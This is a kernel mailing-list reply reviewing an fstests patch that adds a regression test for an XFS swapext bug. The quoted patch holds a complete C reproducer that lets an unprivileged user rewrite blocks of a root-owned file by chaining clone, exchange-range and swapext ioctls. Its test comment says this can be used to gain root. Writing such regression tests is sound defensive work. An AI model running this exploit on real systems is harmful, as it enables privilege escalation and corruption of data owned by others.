From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from smtp.kernel.org (aws-us-west-2-korg-mail-alma10-1.taild15c8.ts.net [100.103.45.18]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id E31D5318B9B for ; Fri, 9 Oct 2026 22:11:30 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=100.103.45.18 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791583892; cv=none; b=AERfqy70ySii2XQ84MPDdcR6zskkeIQP2nhuoCEilRYXEzEwIOKEZ1L0FNeUbCpA5X4JS1cMPgwTUZXHO8X4zj8JsQh571qi48xH6UndOjaTn0+JcROCutsetBqST+ZE+Vgew+XdzPD0cXzVrH/4IOBVAygeeXolf6eB4vyxZ9k= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1791583892; c=relaxed/simple; bh=Eu9JxqfAAZ3bhDbz6s9Jj9VeUNIfl0gohu64lHRutb4=; h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version: Content-Type:Content-Disposition:In-Reply-To; b=ZlOA8MWAOmhuqrZ+xlF5lq/Sd8yNgLurr1P5wh5oVClwS2sDfaYVenBt7gge99jOd5UeMwsyvLOhztj6JwSzmhIvUlFwaLVgz7awPurJc8BDtfzJr3NsOnmve0ZqvRxQ30AgyUMGIviDyv5azuD7W5pSz+8nF17/ZGYIPBY2VeQ= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b=U+39nL1e; arc=none smtp.client-ip=100.103.45.18 Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=kernel.org header.i=@kernel.org header.b="U+39nL1e" Received: by smtp.kernel.org (Postfix) with UTF8SMTPSA id B72991F000FF; Fri, 9 Oct 2026 22:11:30 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org; s=k20260515; t=1791583890; bh=nlpMDd+0F37YkEAfxx1IEkiAnPSjVdS6O+55//azCac=; h=Date:From:To:Cc:Subject:References:In-Reply-To; b=U+39nL1eMFivCGUmqhdqLV0k+0BMrQa1hnoutziAIdFjc2sZPbkohJ+DpU2ZLx68Z CFkSYqqOXVJQ5GMBleLwI0FyzoAboM8GbOAS82wKCdHYpZ697nsq5wyo462dt6PHDV voRc28nzFmmx6VY3OkzlvWtbAPlrmLeqXTCNXopFnluy4eQkTuVE7xV7H2pGQNfYmv w5EhyIw9NFssb+ch0OKtialxDnCv/Gn8Fz3mjzzyZQij4DprGgvTPqiG7D3jpfGhPT ZM22P4ngN5zzTiZH3udUAg5tBl5arsqDYQ8VUcRWSrDXP6t/YZwlRMRSefNbTr/a0n fPeElsuzrI24Q== Date: Fri, 9 Oct 2026 15:11:30 -0700 From: "Darrick J. Wong" To: Eric Sandeen Cc: Zorro Lang , Carlos Maiolino , Norbert Szetei , linux-xfs@vger.kernel.org, Christoph Hellwig Subject: Re: [PATCH] xfs: add regression test for swapext reflux Message-ID: <20261009221130.GT1615495@frogsfrogsfrogs> References: <20261007170227.GH2705364@frogsfrogsfrogs> <20261007170507.GJ2705364@frogsfrogsfrogs> Precedence: bulk X-Mailing-List: linux-xfs@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: On Fri, Oct 09, 2026 at 11:13:53AM -0500, Eric Sandeen wrote: > On 10/7/26 12:05 PM, Darrick J. Wong wrote: > > From: Darrick J. Wong > > > > This is a regression test for a bug that Norbert Szetei reported in the > > XFS swapext ioctl. I've ported his reproducer program to fstests so > > that everyone can run it. > > A couple things I notice - > > 1) this still requires EXCHRANGE? > 2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require clause here. > 3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" > requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if > it can't, the test fails oddly > > For 3) I think just dropping the $here might fix it? > > su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1" Yeah. From commit b7cecbea22ba6d ("fstests: Add path $here before src/"): [Eryu: some tests run src/ as regular user, don't add $here prefix in such case, as a regular user may have no search permission on $here] Will fix. --D > -Eric > > > Cc: Norbert Szetei > > Signed-off-by: "Darrick J. Wong" > > --- > > src/Makefile | 2 > > src/xfs-swapext-reflink.c | 230 +++++++++++++++++++++++++++++++++++++++++++++ > > tests/xfs/1939 | 69 ++++++++++++++ > > tests/xfs/1939.out | 2 > > 4 files changed, 302 insertions(+), 1 deletion(-) > > create mode 100644 src/xfs-swapext-reflink.c > > create mode 100755 tests/xfs/1939 > > create mode 100644 tests/xfs/1939.out > > > > diff --git a/src/Makefile b/src/Makefile > > index 211b16a832ad5d..eaf0621fc4b876 100644 > > --- a/src/Makefile > > +++ b/src/Makefile > > @@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ > > detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \ > > uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \ > > rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \ > > - xfs-exchange-to-dirty-eof > > + xfs-exchange-to-dirty-eof xfs-swapext-reflink > > > > EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \ > > btrfs_crc32c_forged_name.py popdir.pl popattr.py \ > > diff --git a/src/xfs-swapext-reflink.c b/src/xfs-swapext-reflink.c > > new file mode 100644 > > index 00000000000000..e2a240d5a0af91 > > --- /dev/null > > +++ b/src/xfs-swapext-reflink.c > > @@ -0,0 +1,230 @@ > > +// SPDX-License-Identifier: GPL-2.0 > > + > > +// Trick swapext into screwing up the file reflink flags after data exchange > > +#include > > +#include > > +#include > > +#include > > +#include > > +#include > > +#include > > +#include > > +#include > > +#include > > + > > +#ifndef FICLONERANGE > > +#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range) > > +#endif > > + > > +#ifndef XFS_EXCHANGE_RANGE_TO_EOF > > +struct xfs_exchange_range { > > + __s32 file1_fd; > > + __u32 pad; > > + __u64 file1_offset; > > + __u64 file2_offset; > > + __u64 length; > > + __u64 flags; > > +}; > > +#define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range) > > +#define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0) > > +#endif > > + > > +#ifndef XFS_IOC_SWAPEXT > > +typedef struct xfs_bstime { > > + long tv_sec; > > + __s32 tv_nsec; > > +} xfs_bstime_t; > > + > > +struct xfs_bstat { > > + __u64 bs_ino; > > + __u16 bs_mode; > > + __u16 bs_nlink; > > + __u32 bs_uid; > > + __u32 bs_gid; > > + __u32 bs_rdev; > > + __s32 bs_blksize; > > + __s64 bs_size; > > + xfs_bstime_t bs_atime; > > + xfs_bstime_t bs_mtime; > > + xfs_bstime_t bs_ctime; > > + __s64 bs_blocks; > > + __u32 bs_xflags; > > + __s32 bs_extsize; > > + __s32 bs_extents; > > + __u32 bs_gen; > > + __u16 bs_projid_lo; > > + __u16 bs_forkoff; > > + __u16 bs_projid_hi; > > + __u16 bs_sick; > > + __u16 bs_checked; > > + unsigned char bs_pad[2]; > > + __u32 bs_cowextsize; > > + __u32 bs_dmevmask; > > + __u16 bs_dmstate; > > + __u16 bs_aextents; > > +}; > > + > > +struct xfs_swapext { > > + __s64 sx_version; > > +#define XFS_SX_VERSION 0 > > + __s64 sx_fdtarget; > > + __s64 sx_fdtmp; > > + __s64 sx_offset; > > + __s64 sx_length; > > + char sx_pad[16]; > > + struct xfs_bstat sx_stat; > > +}; > > +#define XFS_IOC_SWAPEXT _IOWR('X', 109, struct xfs_swapext) > > +#endif > > + > > +static unsigned long blksz; > > +static int peer, f1; > > + > > +static unsigned long long phys(int fd, unsigned long long off) > > +{ > > + struct { struct fiemap f; struct fiemap_extent e[1]; } q; > > + > > + memset(&q, 0, sizeof q); > > + q.f.fm_start = off; > > + q.f.fm_length = blksz; > > + q.f.fm_extent_count = 1; > > + if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1) > > + return 0; > > + return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz; > > +} > > + > > +static void show(const char *tag) > > +{ > > + struct stat st; > > + int i; > > + > > + fstat(f1, &st); > > + printf("%-26s peer [%llu] file1 size %5lld [", tag, phys(peer, 0), > > + (long long)st.st_size); > > + for (i = 0; i < 3; i++) > > + printf("%llu%s", phys(f1, (unsigned long long)i * blksz), > > + i == 2 ? "]\n" : "] ["); > > +} > > + > > +static int mkfile(const char *name, char fill, int blocks) > > +{ > > + char *buf; > > + int fd; > > + > > + unlink(name); > > + fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600); > > + if (fd < 0) > > + return fprintf(stderr, "open %s: %m\n", name), -1; > > + buf = malloc(blocks * blksz); > > + memset(buf, fill, blocks * blksz); > > + if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz)) > > + return fprintf(stderr, "pwrite %s: %m\n", name), -1; > > + free(buf); > > + fsync(fd); > > + return fd; > > +} > > + > > +int main(int argc, char *argv[]) > > +{ > > + struct xfs_exchange_range xr; > > + struct file_clone_range cr; > > + struct xfs_swapext sx; > > + char before[65536], after[65536], *buf; > > + struct statfs sfs; > > + struct stat st; > > + int d1, d2; > > + > > + if (argc != 3) { > > + fprintf(stderr, "Usage: $0 dir path_to_peer\n"); > > + return 2; > > + } > > + > > + if (chdir(argv[1])) > > + return perror(argv[1]), 2; > > + > > + if (statfs(".", &sfs)) > > + return fprintf(stderr, "statfs: %m\n"), 2; > > + blksz = sfs.f_bsize; > > + > > + peer = open(argv[2], O_RDONLY); > > + if (peer < 0) > > + return fprintf(stderr, "open peer: %m\n"), 2; > > + fstat(peer, &st); > > + printf("peer uid %u mode %04o size %lld, block size %lu\n\n", > > + st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz); > > + if (pread(peer, before, blksz, 0) != (ssize_t)blksz) > > + return fprintf(stderr, "read peer: %m\n"), 2; > > + syncfs(peer); /* so FIEMAP reports peer's real block */ > > + > > + f1 = mkfile("file1", 'A', 3); > > + d1 = mkfile("donor1", 'B', 1); > > + d2 = mkfile("donor2", 'C', 1); > > + if (f1 < 0 || d1 < 0 || d2 < 0) > > + return 2; > > + show("start"); > > + > > + /* 1. share peer's block into the middle of file1 */ > > + cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0, > > + .src_length = blksz, > > + .dest_offset = blksz }; > > + if (ioctl(f1, FICLONERANGE, &cr)) > > + return fprintf(stderr, "FICLONERANGE: %m\n"), 2; > > + show("1 FICLONERANGE"); > > + > > + /* > > + * 2. exchange file1's last block against the whole of donor1 with > > + * TO_EOF. The sizes are exchanged too, so file1 claims one block > > + * while still owning three. file2_offset is block 2, so this exchange > > + * cannot clear a reflink flag. > > + */ > > + xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0, > > + .file2_offset = 2 * blksz, > > + .length = 0, > > + .flags = XFS_EXCHANGE_RANGE_TO_EOF }; > > + if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr)) > > + return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2; > > + show("2 EXCHANGE_RANGE TO_EOF"); > > + > > + /* > > + * 3. XFS_IOC_SWAPEXT with file1 as the target. sx_offset is 0 and > > + * sx_length equals both inodes' i_disk_size, so the "Verify all data > > + * are being swapped" test passes. xfs_swap_extent_rmap() then bounds > > + * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which > > + * is one block, so file1's two mappings above its size are left in > > + * place -- and the reflink flags are swapped anyway, clearing file1's. > > + */ > > + fsync(f1); > > + fsync(d2); > > + if (fstat(f1, &st)) > > + return fprintf(stderr, "fstat file1: %m\n"), 2; > > + memset(&sx, 0, sizeof sx); > > + sx.sx_version = XFS_SX_VERSION; > > + sx.sx_fdtarget = f1; > > + sx.sx_fdtmp = d2; > > + sx.sx_offset = 0; > > + sx.sx_length = st.st_size; > > + sx.sx_stat.bs_mtime.tv_sec = st.st_mtim.tv_sec; > > + sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec; > > + sx.sx_stat.bs_ctime.tv_sec = st.st_ctim.tv_sec; > > + sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec; > > + if (ioctl(f1, XFS_IOC_SWAPEXT, &sx)) > > + return fprintf(stderr, "SWAPEXT: %m\n"), 2; > > + show("3 SWAPEXT"); > > + > > + /* 4. write to the block file1 still shares with peer */ > > + buf = malloc(blksz); > > + memset(buf, 'X', blksz); > > + if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz) > > + return fprintf(stderr, "pwrite: %m\n"), 2; > > + fsync(f1); > > + show("4 pwrite(file1, 4096)"); > > + > > + posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED); > > + if (pread(peer, after, blksz, 0) != (ssize_t)blksz) > > + return fprintf(stderr, "re-read peer: %m\n"), 2; > > + printf("\npeer first byte %c -> %c %s\n", before[0], after[0], > > + memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact"); > > + return memcmp(before, after, blksz) ? 0 : 1; > > +} > > + > > + > > diff --git a/tests/xfs/1939 b/tests/xfs/1939 > > new file mode 100755 > > index 00000000000000..b08ea09e977628 > > --- /dev/null > > +++ b/tests/xfs/1939 > > @@ -0,0 +1,69 @@ > > +#! /bin/bash > > +# SPDX-License-Identifier: GPL-2.0 > > +# Copyright (c) 2026 Oracle. All Rights Reserved. > > +# > > +# FS QA Test No. 1939 > > +# > > +# Regression test for an swapext bug which unintentionally results in files > > +# that share data blocks but don't have the reflink flag set. This enables > > +# attackers to rewrite shared blocks to gain root privileges, similar to > > +# refluxfs. > > +. ./common/preamble > > +_begin_fstest auto quick swapext > > + > > +. ./common/filter > > +. ./common/reflink > > + > > +_require_test_program "xfs-swapext-reflink" > > +_require_user fsgqa > > +_require_group fsgqa > > +_require_scratch_reflink > > +_require_xfs_scratch_rmapbt > > +_require_cp_reflink > > + > > +_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \ > > + "xfs: stop exchanging reflink flags when exchanging mappings" > > + > > +_scratch_mkfs >> $seqres.full > > +_scratch_mount > > + > > +rootdir=$SCRATCH_MNT/root > > +userdir1=$SCRATCH_MNT/user1 > > +blksz=$(_get_file_block_size $SCRATCH_MNT) > > + > > +# Fill $mnt/peer with "P", run reproducer program > > +mkdir -p $rootdir $userdir1 > > +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full > > +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full > > +sync > > + > > +chown $qa_user:$qa_group $userdir1 > > +chmod +r $rootdir/peer1 > > + > > +_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1 > > + > > +echo "Errors from reproducer:" >> $seqres.full > > +cat $tmp.out1 >> $seqres.full > > + > > +# Check for file corruption > > +grep -q REWRITTEN $tmp.out1 && \ > > + echo "$rootdir/peer1 rewritten, filesystem corrupt!" > > + > > +cmp -s $rootdir/peer.copy $rootdir/peer1 || \ > > + echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!" > > + > > +# Check reflink flags > > +_scratch_unmount > > +_scratch_xfs_db \ > > + -c "path /user1/file1" -c 'print' \ > > + | grep v3.reflink > > +_scratch_mount > > + > > +# Check for file corruption now that we've blown away all caches > > +grep -q REWRITTEN $tmp.out1 && \ > > + echo "$rootdir/peer1 rewritten, filesystem corrupt!" > > + > > +cmp -s $rootdir/peer.copy $rootdir/peer1 || \ > > + echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!" > > + > > +_exit 0 > > diff --git a/tests/xfs/1939.out b/tests/xfs/1939.out > > new file mode 100644 > > index 00000000000000..ad52293f986ac6 > > --- /dev/null > > +++ b/tests/xfs/1939.out > > @@ -0,0 +1,2 @@ > > +QA output created by 1939 > > +v3.reflink = 1 > > >